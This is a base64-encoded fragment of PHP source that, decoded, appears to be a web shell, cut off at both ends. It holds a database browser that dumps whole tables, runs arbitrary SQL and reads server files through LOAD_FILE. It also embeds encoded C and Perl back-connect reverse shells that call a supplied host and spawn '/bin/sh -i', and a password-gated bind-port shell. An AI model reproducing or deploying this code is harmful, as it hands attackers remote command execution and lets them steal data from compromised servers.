AgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOw0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBAcGdfc2V0X2NsaWVudF9lbmNvZGluZygkdGhpcy0+bGluaywgJHN0cik7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIGZ1bmN0aW9uIGR1bXAoJHRhYmxlKSB7DQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsNCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICRyZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYCcpOw0KICAgICAgICAgICAgICAgICAgICAkY3JlYXRlID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcyk7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gJGNyZWF0ZVsxXS4iO1wNClwNCiI7DQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSBgJy4kdGFibGUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnMgPSBhcnJheSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiJyIuQG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkdikuIiciOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zW10gPSAiYCIuJGsuImAiOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlY2hvICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpOycuIlwNCiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7DQogICAgICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1uc1tdID0gJGs7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpOycuIlwNCiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH07DQogICAgJGRiID0gbmV3IERiQ2xhc3MoQCRfUE9TVFsndHlwZSddKTsNCiAgICBpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7DQogICAgICAgIG9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsNCiAgICAgICAgJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pOw0KICAgICAgICAkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7DQogICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZHVtcC5zcWwiKTsNCiAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvcGxhaW4iKTsNCiAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KQ0KICAgICAgICAgICAgICAgICRkYi0+ZHVtcCgkdik7DQogICAgICAgIGV4aXQ7DQogICAgfQ0KICAgIHByaW50SGVhZGVyKCk7DQogICAgZWNobyAnPGgxPlNRTCBCcm93c2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQogICAgPGZvcm0gbmFtZT0ic2YiIG1ldGhvZD0icG9zdCI+DQogICAgICAgIDx0YWJsZSBjZWxscGFkZGluZz0iMiIgY2VsbHNwYWNpbmc9IjAiPg0KICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgIDx0ZD5UeXBlPC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+SG9zdDwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPkxvZ2luPC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+UGFzc3dvcmQ8L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD5EYXRhYmFzZTwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjwvdGQ+DQogICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9U3FsPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPVwncXVlcnlcJz4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMj4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiciPg0KICAgICAgICAgICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBuYW1lPVwndHlwZVwnPg0KICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibXlzcWwiICcuKEAkX1BPU1RbJ3R5cGUnXT09J215c3FsJz8nc2VsZWN0ZWQnOicnKS4nPk15U3FsPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJwZ3NxbCIgJy4oQCRfUE9TVFsndHlwZSddPT0ncGdzcWwnPydzZWxlY3RlZCc6JycpLic+UG9zdGdyZVNxbDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2hvc3QgdmFsdWU9IicuKGVtcHR5KCRfUE9TVFsnc3FsX2hvc3QnXSk/J2xvY2FsaG9zdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9ob3N0J10pKS4nIj48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2xvZ2luIHZhbHVlPSInLihlbXB0eSgkX1BPU1RbJ3NxbF9sb2dpbiddKT8ncm9vdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9sb2dpbiddKSkuJyI+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9wYXNzIHZhbHVlPSInLihlbXB0eSgkX1BPU1RbJ3NxbF9wYXNzJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfcGFzcyddKSkuJyI+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+JzsNCiAgICAkdG1wID0gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfYmFzZSB2YWx1ZT0nJz4iOw0KICAgIGlmKGlzc2V0KCRfUE9TVFsnc3FsX2hvc3QnXSkpew0KICAgICAgICBpZigkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSkpIHsNCiAgICAgICAgICAgIHN3aXRjaCgkX1BPU1RbJ2NoYXJzZXQnXSkgew0KICAgICAgICAgICAgICAgIGNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgIlVURi04IjogJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICJjcDg2NiI6ICRkYi0+c2V0Q2hhcnNldCgnY3A4NjYnKTsgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkZGItPmxpc3REYnMoKTsNCiAgICAgICAgICAgIGVjaG8gIjxzZWxlY3QgbmFtZT1zcWxfYmFzZT48b3B0aW9uIHZhbHVlPScnPjwvb3B0aW9uPiI7DQogICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkgew0KICAgICAgICAgICAgICAgIGxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOw0KICAgICAgICAgICAgICAgIGVjaG8gJzxvcHRpb24gdmFsdWU9IicuJHZhbHVlLiciICcuKCR2YWx1ZT09JF9QT1NUWydzcWxfYmFzZSddPydzZWxlY3RlZCc6JycpLic+Jy4kdmFsdWUuJzwvb3B0aW9uPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICc8L3NlbGVjdD4nOw0KICAgICAgICB9DQogICAgICAgIGVsc2UgZWNobyAkdG1wOw0KICAgIH1lbHNlDQogICAgICAgIGVjaG8gJHRtcDsNCiAgICBlY2hvICc8L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPg0KICAgICAgICAgICAgPC90cj4NCiAgICAgICAgPC90YWJsZT4NCiAgICAgICAgPHNjcmlwdD4NCiAgICAgICAgICAgIGZ1bmN0aW9uIHN0KHQsbCkgew0KICAgICAgICAgICAgICAgIGRvY3VtZW50LnNmLnAxLnZhbHVlID0gXCdzZWxlY3RcJzsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5zZi5wMi52YWx1ZSA9IHQ7DQogICAgICAgICAgICAgICAgaWYobCE9bnVsbClkb2N1bWVudC5zZi5wMy52YWx1ZSA9IGw7DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuc2Yuc3VibWl0KCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmdW5jdGlvbiBpcygpIHsNCiAgICAgICAgICAgICAgICBmb3IoaT0wO2k8ZG9jdW1lbnQuc2YuZWxlbWVudHNbXCd0YmxbXVwnXS5sZW5ndGg7KytpKQ0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5zZi5lbGVtZW50c1tcJ3RibFtdXCddW2ldLmNoZWNrZWQgPSAhZG9jdW1lbnQuc2YuZWxlbWVudHNbXCd0YmxbXVwnXVtpXS5jaGVja2VkOw0KICAgICAgICAgICAgfQ0KICAgICAgICA8L3NjcmlwdD4nOw0KICAgIGlmKGlzc2V0KCRkYikgJiYgJGRiLT5saW5rKXsNCiAgICAgICAgZWNobyAiPGJyLz48dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0yIGNlbGxzcGFjaW5nPTA+IjsNCiAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9iYXNlJ10pKXsNCiAgICAgICAgICAgICAgICAkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7DQogICAgICAgICAgICAgICAgZWNobyAiPHRyPjx0ZCB3aWR0aD0xIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2O2JvcmRlci1yaWdodDoycHggc29saWQgIzY2NjsnPjxzcGFuPlRhYmxlczo8L3NwYW4+PGJyPjxicj4iOw0KICAgICAgICAgICAgICAgICR0YmxzX3JlcyA9ICRkYi0+bGlzdFRhYmxlcygpOw0KICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgkdGJsc19yZXMpKSB7DQogICAgICAgICAgICAgICAgICAgIGxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOw0KICAgICAgICAgICAgICAgICAgICAkbiA9ICRkYi0+ZmV0Y2goJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnLiR2YWx1ZS4nJykpOw0KICAgICAgICAgICAgICAgICAgICAkdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSk7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxub2JyPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0ndGJsW10nIHZhbHVlPSciLiR2YWx1ZS4iJz4mbmJzcDs8YSBocmVmPSMgb25jbGljaz1cInN0KCciLiR2YWx1ZS4iJylcIj4iLiR2YWx1ZS4iPC9hPiAoIi4kblsnbiddLiIpPC9ub2JyPjxicj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlY2hvICI8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG9uY2xpY2s9J2lzKCk7Jz4gPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPSdEdW1wJyBvbmNsaWNrPSdkb2N1bWVudC5zZi5wMi52YWx1ZT1cImRvd25sb2FkXCI7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7Jz48L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPiI7DQogICAgICAgICAgICAgICAgaWYoQCRfUE9TVFsncDEnXSA9PSAnc2VsZWN0Jykgew0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AxJ10gPSAncXVlcnknOw0KICAgICAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcuJF9QT1NUWydwMiddLicnKTsNCiAgICAgICAgICAgICAgICAgICAgJG51bSA9ICRkYi0+ZmV0Y2goKTsNCiAgICAgICAgICAgICAgICAgICAgJG51bSA9ICRudW1bJ24nXTsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNwYW4+Ii4kX1BPU1RbJ3AyJ10uIjwvc3Bhbj4gKCRudW0pICI7DQogICAgICAgICAgICAgICAgICAgIGZvcigkaT0wOyRpPCgkbnVtLzMwKTskaSsrKQ0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGkgIT0gKGludCkkX1BPU1RbJ3AzJ10pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGEgaHJlZj0nIycgb25jbGljaz0nc3QoXCIiLiRfUE9TVFsncDInXS4iXCIsICRpKSc+IiwoJGkrMSksIjwvYT4gIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICgkaSsxKSwiICI7DQogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddID0gJ1NFTEVDVCAqIEZST00gJy4kX1BPU1RbJ3AyJ10uJyBMSU1JVCAzMCBPRkZTRVQgJy4oJF9QT1NUWydwMyddKjMwKTsNCiAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddID0gJ1NFTEVDVCAqIEZST00gYCcuJF9QT1NUWydwMiddLidgIExJTUlUICcuKCRfUE9TVFsncDMnXSozMCkuJywzMCc7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxicj48YnI+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYoKEAkX1BPU1RbJ3AxJ10gPT0gJ3F1ZXJ5JykgJiYgIWVtcHR5KCRfUE9TVFsncDMnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJGRiLT5xdWVyeShAJF9QT1NUWydwMyddKTsNCiAgICAgICAgICAgICAgICAgICAgaWYoJGRiLT5yZXMgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkdGl0bGUgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlIGNlbGxzcGFjaW5nPTAgY2VsbHBhZGRpbmc9MiBjbGFzcz1tYWluPic7DQogICAgICAgICAgICAgICAgICAgICAgICAkbGluZSA9IDE7DQogICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCEkdGl0bGUpICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGg+Jy4ka2V5Lic8L3RoPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc2V0KCRpdGVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRpdGxlPXRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+PHRyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gMjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyIGNsYXNzPSJsJy4kbGluZS4nIj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gJGxpbmU9PTE/MjoxOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHZhbHVlID09IG51bGwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQ+PGk+bnVsbDwvaT48L3RkPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZD4nLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKSkuJzwvdGQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90cj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90YWJsZT4nOw0KICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdj48Yj5FcnJvcjo8L2I+ICcuaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpLic8L2Rpdj4nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8gIjxicj48dGV4dGFyZWEgbmFtZT0ncDMnIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoxMDBweCc+Ii5AaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AzJ10pLiI8L3RleHRhcmVhPjxici8+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFeGVjdXRlJz4iOw0KICAgICAgICAgICAgICAgIGVjaG8gIjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWNobyAiPC90YWJsZT48L2Zvcm0+PGJyLz48Zm9ybSBvbnN1Ym1pdD0nZG9jdW1lbnQuc2YucDEudmFsdWU9XCJsb2FkZmlsZVwiO2RvY3VtZW50LnNmLnAyLnZhbHVlPXRoaXMuZi52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj5Mb2FkIGZpbGU8L3NwYW4+IDxpbnB1dCAgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT4iOw0KICAgICAgICAgICAgaWYoQCRfUE9TVFsncDEnXSA9PSAnbG9hZGZpbGUnKSB7DQogICAgICAgICAgICAgICAgJGRiLT5xdWVyeSgiU0VMRUNUIExPQURfRklMRSgnIi5hZGRzbGFzaGVzKCRfUE9TVFsncDInXSkuIicpIGFzIGZpbGUiKTsNCiAgICAgICAgICAgICAgICAkZmlsZSA9ICRkYi0+ZmV0Y2goKTsNCiAgICAgICAgICAgICAgICBlY2hvICc8cHJlIGNsYXNzPW1sMT4nLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGVbJ2ZpbGUnXSkuJzwvcHJlPic7DQogICAgICAgICAgICB9DQogICAgfQ0KICAgIGVjaG8gJzwvZGl2Pic7DQogICAgcHJpbnRGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uTmV0d29yaygpIHsNCiAgICBwcmludEhlYWRlcigpOw0KICAgICRiYWNrX2Nvbm5lY3RfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZENCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcElIc05DaUFnSUNCcGJuUWdabVE3RFFvZ0lDQWdjM1J5ZFdOMElITnZZMnRoWkdSeVgybHVJSE5wYmpzTkNpQWdJQ0JrWVdWdGIyNG9NU3d3S1RzTkNpQWdJQ0J6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nSUNBZ2MybHVMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW9ZWFJ2YVNoaGNtZDJXekpkS1NrN0RRb2dJQ0FnYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc05DaUFnSUNCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc05DaUFnSUNCcFppQW9LR052Ym01bFkzUW9abVFzSUNoemRISjFZM1FnYzI5amEyRmtaSElnS2lrZ0puTnBiaXdnYzJsNlpXOW1LSE4wY25WamRDQnpiMk5yWVdSa2Npa3BLVHd3S1NCN0RRb2dJQ0FnSUNBZ0lIQmxjbkp2Y2lnaVEyOXVibVZqZENCbVlXbHNJaWs3RFFvZ0lDQWdJQ0FnSUhKbGRIVnliaUF3T3cwS0lDQWdJSDBOQ2lBZ0lDQmtkWEF5S0daa0xDQXdLVHNOQ2lBZ0lDQmtkWEF5S0daa0xDQXhLVHNOQ2lBZ0lDQmtkWEF5S0daa0xDQXlLVHNOQ2lBZ0lDQnplWE4wWlcwb0lpOWlhVzR2YzJnZ0xXa2lLVHNOQ2lBZ0lDQmpiRzl6WlNobVpDazdEUXA5IjsNCiAgICAkYmFja19jb25uZWN0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNnbkwySnBiaTl6YUNBdGFTY3BPdzBLWTJ4dmMyVW9VMVJFU1U0cE93MEtZMnh2YzJVb1UxUkVUMVZVS1RzTkNtTnNiM05sS0ZOVVJFVlNVaWs3IjsNCiAgICAkYmluZF9wb3J0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM1J5YVc1bkxtZytEUW9qYVc1amJIVmtaU0E4ZFc1cGMzUmtMbWcrRFFvamFXNWpiSFZrWlNBOGJtVjBaR0l1YUQ0TkNpTnBibU5zZFdSbElEeHpkR1JzYVdJdWFENE5DbWx1ZENCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDb3FZWEpuZGlrZ2V3MEtJQ0FnSUdsdWRDQnpMR01zYVRzTkNpQWdJQ0JqYUdGeUlIQmJNekJkT3cwS0lDQWdJSE4wY25WamRDQnpiMk5yWVdSa2NsOXBiaUJ5T3cwS0lDQWdJR1JoWlcxdmJpZ3hMREFwT3cwS0lDQWdJSE1nUFNCemIyTnJaWFFvUVVaZlNVNUZWQ3hUVDBOTFgxTlVVa1ZCVFN3d0tUc05DaUFnSUNCcFppZ2hjeWtnY21WMGRYSnVJQzB4T3cwS0lDQWdJSEl1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2dJQ0FnY2k1emFXNWZjRzl5ZENBOUlHaDBiMjV6S0dGMGIya29ZWEpuZGxzeFhTa3BPdzBLSUNBZ0lISXVjMmx1WDJGa1pISXVjMTloWkdSeUlEMGdhSFJ2Ym13b1NVNUJSRVJTWDBGT1dTazdEUW9nSUNBZ1ltbHVaQ2h6TENBb2MzUnlkV04wSUhOdlkydGhaR1J5SUNvcEpuSXNJREI0TVRBcE93MEtJQ0FnSUd4cGMzUmxiaWh6TENBMUtUc05DaUFnSUNCM2FHbHNaU2d4S1NCN0RRb2dJQ0FnSUNBZ0lHTTlZV05qWlhCMEtITXNNQ3d3S1RzTkNpQWdJQ0FnSUNBZ1pIVndNaWhqTERBcE93MEtJQ0FnSUNBZ0lDQmtkWEF5S0dNc01TazdEUW9nSUNBZ0lDQWdJR1IxY0RJb1l5d3lLVHNOQ2lBZ0lDQWdJQ0FnZDNKcGRHVW9ZeXdpVUdGemMzZHZjbVE2SWl3NUtUc05DaUFnSUNBZ0lDQWdjbVZoWkNoakxIQXNjMmw2Wlc5bUtIQXBLVHNOQ2lBZ0lDQWdJQ0FnWm05eUtHazlNRHRwUEhOMGNteGxiaWh3S1R0cEt5c3BEUW9nSUNBZ0lDQWdJQ0FnSUNCcFppZ2dLSEJiYVYwZ1BUMGdKMXh1SnlrZ2ZId2dLSEJiYVYwZ1BUMGdKMXh5SnlrZ0tRMEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIQmJhVjBnUFNBblhEQW5PdzBLSUNBZ0lDQWdJQ0JwWmlBb2MzUnlZMjF3S0dGeVozWmJNbDBzY0NrZ1BUMGdNQ2tOQ2lBZ0lDQWdJQ0FnSUNBZ0lITjVjM1JsYlNnaUwySnBiaTl6YUNBdGFTSXBPdzBLSU